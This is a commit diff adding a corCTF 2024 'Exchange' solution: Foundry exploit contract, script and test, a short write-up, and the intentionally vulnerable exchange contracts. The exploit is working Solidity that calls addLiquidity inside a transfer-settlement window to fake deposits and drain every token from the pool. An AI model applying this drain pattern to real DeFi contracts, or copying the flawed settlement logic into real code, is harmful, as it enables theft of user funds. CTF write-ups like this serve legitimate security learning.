add solver for corCTF 2024

src/CorCTF2024/Exchange/Exploit.s.sol

@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Script, console} from "forge-std/Script.sol";
+import {Exploit} from "./Exploit.sol";
+
+// forge script src/CorCTF2024/Exchange/Exploit.s.sol:ExploitScript --sig "run(address)" $INSTANCE_ADDR --private-key $PRIVATE_KEY -vvvvv --broadcast
+
+contract ExploitScript is Script {
+    function run(address setupAddr) public {
+        vm.startBroadcast();
+
+        new Exploit(setupAddr).exploit();
+
+        vm.stopBroadcast();
+    }
+}

src/CorCTF2024/Exchange/Exploit.sol

@@ -0,0 +1,59 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Setup, Exchange, IToken} from "./challenge/Setup.sol";
+
+contract Exploit {
+    Setup setup;
+    Exchange exchange;
+    IToken token1;
+    IToken token2;
+    IToken token3;
+
+    constructor(address setupAddr) {
+        setup = Setup(setupAddr);
+        exchange = setup.target();
+        token1 = setup.token1();
+        token2 = setup.token2();
+        token3 = setup.token3();
+    }
+
+    function exploit() public {
+        exchange.swap();
+        assert(setup.isSolved());
+    }
+
+    function doSwap() public {
+        token1.approve(address(exchange), type(uint256).max);
+        token2.approve(address(exchange), type(uint256).max);
+        token3.approve(address(exchange), type(uint256).max);
+
+        for (uint256 i = 0; i < 30; i++) {
+            exchange.withdraw(address(token2), 200_000);
+            exchange.initiateTransfer(address(token2));
+            exchange.addLiquidity(address(token1), address(token2), 0, 200_000);
+            exchange.finalizeTransfer(address(token2));
+        }
+        exchange.swapTokens(address(token1), address(token2), 10_000, 400_000);
+
+        for (uint256 i = 0; i < 50; i++) {
+            exchange.withdraw(address(token1), 200_000);
+            exchange.initiateTransfer(address(token1));
+            exchange.addLiquidity(address(token2), address(token1), 0, 200_000);
+            exchange.finalizeTransfer(address(token1));
+        }
+        exchange.swapTokens(address(token2), address(token1), 200_000, 240_000); // 200_000 + 10_000 + 30_000
+
+        for (uint256 i = 0; i < 50; i++) {
+            exchange.withdraw(address(token3), 400_000);
+            exchange.initiateTransfer(address(token3));
+            exchange.addLiquidity(address(token1), address(token3), 0, 400_000);
+            exchange.finalizeTransfer(address(token3));
+        }
+        exchange.swapTokens(address(token1), address(token3), 30_000, 400_000);
+
+        exchange.withdraw(address(token1), 200_000);
+        exchange.withdraw(address(token2), 200_000);
+        exchange.withdraw(address(token3), 400_000);
+    }
+}

src/CorCTF2024/Exchange/Exploit.t.sol

@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.20;
+
+import {Test, console} from "forge-std/Test.sol";
+import {Exploit} from "./Exploit.sol";
+import {Setup, Exchange, IToken} from "./challenge/Setup.sol";
+
+contract ExploitTest is Test {
+    address playerAddr = makeAddr("player");
+    Setup setup;
+
+    function setUp() public {
+        vm.deal(playerAddr, 1 ether);
+        setup = new Setup();
+    }
+
+    function test() public {
+        vm.startPrank(playerAddr, playerAddr);
+
+        new Exploit(address(setup)).exploit();
+
+        vm.stopPrank();
+    }
+}

src/CorCTF2024/Exchange/README.md

@@ -0,0 +1,50 @@
+# corCTF 2024: Exchange
+
+## Description
+
+```
+I upgraded my exchange to support flash swaps! Check it out. nc be.ax 32412
+```
+
+## Solution 
+
+Instead of executing a transfer between `initialTransfer` and `finalizeTransfer`, it's possible to execute `addLiquidity`.
+
+This can disrupt the pool's invariant.
+By increasing the amount of one of the tokens in the pool, we can obtain the other token at a favorable rate.
+
+I solved this challenge by executing the following during `doSwap`, and it was the first blood.
+
+```solidity
+token1.approve(address(exchange), type(uint256).max);
+token2.approve(address(exchange), type(uint256).max);
+token3.approve(address(exchange), type(uint256).max);
+
+for (uint256 i = 0; i < 30; i++) {
+    exchange.withdraw(address(token2), 200_000);
+    exchange.initiateTransfer(address(token2));
+    exchange.addLiquidity(address(token1), address(token2), 0, 200_000);
+    exchange.finalizeTransfer(address(token2));
+}
+exchange.swapTokens(address(token1), address(token2), 10_000, 400_000);
+
+for (uint256 i = 0; i < 50; i++) {
+    exchange.withdraw(address(token1), 200_000);
+    exchange.initiateTransfer(address(token1));
+    exchange.addLiquidity(address(token2), address(token1), 0, 200_000);
+    exchange.finalizeTransfer(address(token1));
+}
+exchange.swapTokens(address(token2), address(token1), 200_000, 240_000); // 200_000 + 10_000 + 30_000
+
+for (uint256 i = 0; i < 50; i++) {
+    exchange.withdraw(address(token3), 400_000);
+    exchange.initiateTransfer(address(token3));
+    exchange.addLiquidity(address(token1), address(token3), 0, 400_000);
+    exchange.finalizeTransfer(address(token3));
+}
+exchange.swapTokens(address(token1), address(token3), 30_000, 400_000);
+
+exchange.withdraw(address(token1), 200_000);
+exchange.withdraw(address(token2), 200_000);
+exchange.withdraw(address(token3), 400_000);
+```

src/CorCTF2024/Exchange/challenge/Exchange.sol

@@ -0,0 +1,180 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.24;
+
+import {IToken} from "./Token.sol";
+
+interface SwapCallback {
+    function doSwap() external;
+}
+
+contract Exchange {
+    struct Pool {
+        uint256 leftReserves;
+        uint256 rightReserves;
+    }
+
+    struct SavedBalance {
+        bool initiated;
+        uint256 balance;
+    }
+
+    struct SwapState {
+        bool hasBegun;
+        uint256 unsettledTokens;
+        mapping(address => int256) positions;
+        mapping(address => SavedBalance) savedBalances;
+    }
+
+    address public admin;
+    uint256 nonce = 0;
+    mapping(address => bool) public allowedTokens;
+    mapping(uint256 => SwapState) private swapStates;
+    mapping(address => mapping(address => Pool)) private pools;
+
+    constructor() {
+        admin = msg.sender;
+    }
+
+    function addToken(address token) public {
+        require(msg.sender == admin, "not admin");
+        allowedTokens[token] = true;
+    }
+
+    modifier duringSwap() {
+        require(swapStates[nonce].hasBegun, "swap not in progress");
+        _;
+    }
+
+    function getSwapState() internal view returns (SwapState storage) {
+        return swapStates[nonce];
+    }
+
+    function getPool(address tokenA, address tokenB)
+        internal
+        view
+        returns (address left, address right, Pool storage pool)
+    {
+        require(tokenA != tokenB);
+
+        if (tokenA < tokenB) {
+            left = tokenA;
+            right = tokenB;
+        } else {
+            left = tokenB;
+            right = tokenA;
+        }
+
+        pool = pools[left][right];
+    }
+
+    function getReserves(address token, address other) public view returns (uint256) {
+        (address left,, Pool storage pool) = getPool(token, other);
+        return token == left ? pool.leftReserves : pool.rightReserves;
+    }
+
+    function setReserves(address token, address other, uint256 amount) internal {
+        (address left,, Pool storage pool) = getPool(token, other);
+
+        if (token == left) pool.leftReserves = amount;
+        else pool.rightReserves = amount;
+    }
+
+    function getLiquidity(address left, address right) public view returns (uint256) {
+        (,, Pool storage pool) = getPool(left, right);
+        return pool.leftReserves * pool.rightReserves;
+    }
+
+    // TODO: give lps shares in the pool
+    function addLiquidity(address left, address right, uint256 amountLeft, uint256 amountRight) public {
+        require(allowedTokens[left], "token not allowed");
+        require(allowedTokens[right], "token not allowed");
+
+        IToken(left).transferFrom(msg.sender, address(this), amountLeft);
+        IToken(right).transferFrom(msg.sender, address(this), amountRight);
+
+        setReserves(left, right, getReserves(left, right) + amountLeft);
+        setReserves(right, left, getReserves(right, left) + amountRight);
+    }
+
+    function swap() external {
+        SwapState storage swapState = getSwapState();
+
+        require(!swapState.hasBegun, "swap already in progress");
+        swapState.hasBegun = true;
+
+        SwapCallback(msg.sender).doSwap();
+
+        require(swapState.unsettledTokens == 0, "not settled");
+        nonce += 1;
+    }
+
+    function updatePosition(address token, int256 amount) internal {
+        require(allowedTokens[token], "token not allowed");
+
+        SwapState storage swapState = getSwapState();
+
+        int256 currentPosition = swapState.positions[token];
+        int256 newPosition = currentPosition + amount;
+
+        if (newPosition == 0) swapState.unsettledTokens -= 1;
+        else if (currentPosition == 0) swapState.unsettledTokens += 1;
+
+        swapState.positions[token] = newPosition;
+    }
+
+    function withdraw(address token, uint256 amount) public duringSwap {
+        require(allowedTokens[token], "token not allowed");
+
+        IToken(token).transfer(msg.sender, amount);
+        updatePosition(token, -int256(amount));
+    }
+
+    function initiateTransfer(address token) public duringSwap {
+        require(allowedTokens[token], "token not allowed");
+
+        SwapState storage swapState = getSwapState();
+        SavedBalance storage state = swapState.savedBalances[token];
+
+        require(!state.initiated, "transfer already initiated");
+
+        state.initiated = true;
+        state.balance = IToken(token).balanceOf(address(this));
+    }
+
+    function finalizeTransfer(address token) public duringSwap {
+        require(allowedTokens[token], "token not allowed");
+
+        SwapState storage swapState = getSwapState();
+        SavedBalance storage state = swapState.savedBalances[token];
+
+        require(state.initiated, "transfer not initiated");
+
+        uint256 balance = IToken(token).balanceOf(address(this));
+        uint256 amount = balance - state.balance;
+
+        state.initiated = false;
+        updatePosition(token, int256(amount));
+    }
+
+    function swapTokens(address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOut) public duringSwap {
+        require(allowedTokens[tokenIn], "token not allowed");
+        require(allowedTokens[tokenOut], "token not allowed");
+
+        uint256 liquidityBefore = getLiquidity(tokenIn, tokenOut);
+
+        require(liquidityBefore > 0, "no liquidity");
+
+        uint256 newReservesIn = getReserves(tokenIn, tokenOut) + amountIn;
+        uint256 newReservesOut = getReserves(tokenOut, tokenIn) - amountOut;
+
+        setReserves(tokenIn, tokenOut, newReservesIn);
+        setReserves(tokenOut, tokenIn, newReservesOut);
+
+        uint256 liquidityAfter = getLiquidity(tokenIn, tokenOut);
+
+        updatePosition(tokenIn, -int256(amountIn));
+        updatePosition(tokenOut, int256(amountOut));
+
+        require(liquidityAfter >= liquidityBefore, "insufficient liquidity");
+    }
+}

src/CorCTF2024/Exchange/challenge/Setup.sol

@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.24;
+
+import {Token, IToken} from "./Token.sol";
+import {Exchange} from "./Exchange.sol";
+
+contract Setup {
+    Exchange public immutable target = new Exchange();
+
+    uint256 balance1 = 300_000;
+    uint256 balance2 = 300_000;
+    uint256 balance3 = 600_000;
+
+    IToken public token1 = new Token(balance1);
+    IToken public token2 = new Token(balance2);
+    IToken public token3 = new Token(balance3);
+
+    constructor() {
+        target.addToken(address(token1));
+        target.addToken(address(token2));
+        target.addToken(address(token3));
+
+        token1.approve(address(target), balance1);
+        token2.approve(address(target), balance2);
+        token3.approve(address(target), balance3);
+
+        target.addLiquidity(address(token1), address(token2), balance1 / 3, balance2 / 3);
+
+        target.addLiquidity(address(token1), address(token3), balance1 / 3, balance3 / 3);
+
+        target.addLiquidity(address(token2), address(token3), balance2 / 3, balance3 / 3);
+    }
+
+    function isSolved() public view returns (bool) {
+        return (
+            IToken(token1).balanceOf(address(target)) == 0 && IToken(token2).balanceOf(address(target)) == 0
+                && IToken(token3).balanceOf(address(target)) == 0
+        );
+    }
+}